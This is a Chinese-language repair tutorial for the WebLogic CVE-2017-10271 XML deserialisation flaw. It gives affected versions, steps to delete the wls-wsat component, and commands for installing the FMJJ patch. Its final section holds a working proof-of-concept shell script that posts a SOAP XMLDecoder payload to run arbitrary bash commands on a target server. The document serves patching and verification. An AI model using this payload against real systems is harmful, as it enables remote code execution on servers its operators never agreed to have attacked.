weblogic CVE-2017-10271修復教程


1.簡介

CVE-2017-10271是weblogic wls-wsat組件的一個xml反序列化漏洞,可造成遠程命令執行。更詳細分析可見參考鏈接,本文強調在進行參考鏈接修復中的一些細節。

 

2.影響版本

OracleWebLogic Server10.3.6.0.0
OracleWebLogic Server12.1.3.0.0
OracleWebLogic Server12.2.1.1.0
OracleWebLogic Server12.2.1.2.0

打了B25A及其之前版本的補丁都沒用,需要打2017年10月的補丁(FMJJ)

(實際檢測發現weblogic 10.3.5.0版本也存在該漏洞,但官方並沒有指出該版本也未提供該版本的補丁下載,對於該版本只好使用下邊的臨時辦法進行處理)

 

3.處理辦法

3.1方法一:臨時處理辦法

刪除wls-wsat組件,然后重啟weblogic(weblogic安裝路徑和domain名等根據自己實際情況修改)

rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
cd /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/bin
./stopWebLogic.sh
./startWebLogic.sh &

說明:

1.一定要把前兩個文件刪掉再重啟,只刪其中一個或者刪了一個重啟后再刪另外一個都是不能修復。原理上是在啟動時1會復制到2,然后2會被緩存到內存(不是3)。如果只刪除2那再啟動時又復制回來顯然沒效果;如果只刪除1那重啟時2並不會被清除,所以還是沒效果;如果重啟完再刪除由於已緩存到內存所以也沒效果。緩存到內存只是我的猜測,因為實踐測試就是啟了再刪漏洞還是未修復而在磁盤上又找不到vm-wsat組件在哪。

2.第三個文件不懂是什么只是各說明都要要刪然后確實也是vm-wsat所以這里也刪了,實踐來看不刪也修復了的。

3.刪了這幾個文件(夾)后需要重啟才能生效。只刪不重啟效果和1中所說的重啟了再刪結果一樣的,內存中還有緩存漏洞還是沒修復。

4.vm-wsat在所有server都會部署,所以所有控制台和所有server都需要重啟。

5.直接的驗證方法是訪問,http://192.168.220.128:9000/wls-wsat/CoordinatorPortType11(ip和端口改成自己的),如是404則說明已成功刪除。如果類似下面結果則未成功刪除

 

3.2方法二:打補丁

官網下載p26519424_1036_Generic.zip(FMJJ)打上即可(下載補丁需要登錄賬號,且該賬號要已購買服務)

cd /home/WebLogic/Oracle/Middleware/utils/bsu  #進入bsu目錄
mkdir -p cache_dir/backup                      #創建backup目錄用於備份
mv cache_dir/* cache_dir/backup                #確保cache_dir下原來沒有補丁
unzip p26519424_1036_Generic.zip -d /home/WebLogic/Oracle/Middleware/utils/bsu/cache_dir #將補丁解壓到cache_dir
mv cache_dir/patch-catalog_25504.xml cache_dir/patch-catalog.xml       #重命名patch-catalog
./bsu.sh -install -patchlist=FMJJ -patch_download_dir=./cache_dir/ -prod_dir=../../wlserver_10.3/   #打FMJJ補丁

如果之前打了B25A等補丁直接打會報沖突Patch FMJJ is mutually exclusive and cannot coexist with patch(es): B25A,先將B25A等沖突的補丁卸載即可(weblogic新補丁包含之前補丁的更改可放心卸載)。

./bsu.sh -remove -patchlist=B25A  -prod_dir=../../wlserver_10.3/

說明:

1有人說要找windows版weblogic的補丁,實際操作來看windows和linux上的weblogic都用同一個補丁包的,並沒有linux版補丁和windows版補丁的說法。

2關於打補丁時要不要停weblogic,按習慣是都先停了再打,但是按實際試驗看不停就打除了打時服務可能會卡一點外功能也都正常。從原理上看,安裝補丁的過程是歸檔有問題的文件然后使用新文件替代;卸載補丁的過程是移除該補丁相關的文件然后從歸檔文件中還原原先的文件,從這角度上看不會造成功能缺失。由於前述的緩存到內存所以功能未重啟前功能也正常。

3打了補丁之后一樣要重啟weblogic才能生效,這是驗證過的。

4打補丁后不要使用訪問http://192.168.220.128:9000/wls-wsat/CoordinatorPortType11看是否存在來判斷漏洞是否修復,補丁是從代碼修復了漏洞而不是刪除了CoordinatorPortType所以打補丁后這個頁面肯定還是存在的。

 

4.POC

嚴謹的安全工作者,講究“no exp say jb”,以下是一個linux shell版本,在本地CentOS服務器上驗證通過

IP=192.168.220.128            #要檢測的主機IP
PORT=9000                     #要檢測的主機端口
COMMAND='find . -name "war" -exec touch {}/poc.jsp \;'    #此為要遠程執行的命令;weblogic工作目錄為domain目錄,此句遠程無差別地在所有war目錄下創建poc.jsp文件

XML_PAYLOAD_PRE='<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.8.0_131" class="java.beans.XMLDecoder">
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0">
              <string>/bin/bash</string>
            </void>
            <void index="1">
              <string>-c</string>
            </void>
            <void index="2">
              '
XML_PAYLOAD_MID="<string>${COMMAND}</string>"       #由於沒有找到更好的辦法拼接,只要將payload先分割成了前中后三段

XML_PAYLOAD_POST='
            </void>
          </array>
          <void method="start"/>
        </void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>'

XML_PAYLOAD="${XML_PAYLOAD_PRE}${XML_PAYLOAD_MID}${XML_PAYLOAD_POST}"   #拼接payload

echo "${XML_PAYLOAD}" | curl -X POST -H 'Content-type:text/xml' -d @-  http://$IP:$PORT/wls-wsat/CoordinatorPortType  #使用curl post提交payload

RESPOND_CODE=`curl -I -s -w "%{http_code}\n" -o /dev/null http://$IP:$PORT/wls-wsat/poc.jsp`     #訪問poc文件,以其是否成功創建來判斷命令是否成功執行

if [ $RESPOND_CODE == 200 ]
then
echo "RESPOND_CODE = ${RESPOND_CODE}, $IP:$PORT exist cve-2017-10271"
elif [ $RESPOND_CODE == 404 ]
then
echo "RESPOND_CODE = ${RESPOND_CODE}, $IP:$PORT do not exist cve-2017-10271"
else
echo "RESPOND_CODE = ${RESPOND_CODE}, i do not know what does it means"
fi

也可以到github上找找,看了一下意思都大同小異

https://github.com/search?utf8=%E2%9C%93&q=CVE-2017-10271&type=

 

參考:

http://www.cnvd.org.cn/webinfo/show/4331

http://blog.nsfocus.net/weblogic-solution/

http://blog.nsfocus.net/weblogic-xmldecoder-rce/

http://www.mamicode.com/info-detail-1367368.html
http://blog.csdn.net/hongweigg/article/details/77948664
https://www.cnblogs.com/jing1617/p/6442640.html

https://github.com/iBearcat/Oracle-WebLogic-CVE-2017-10271


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM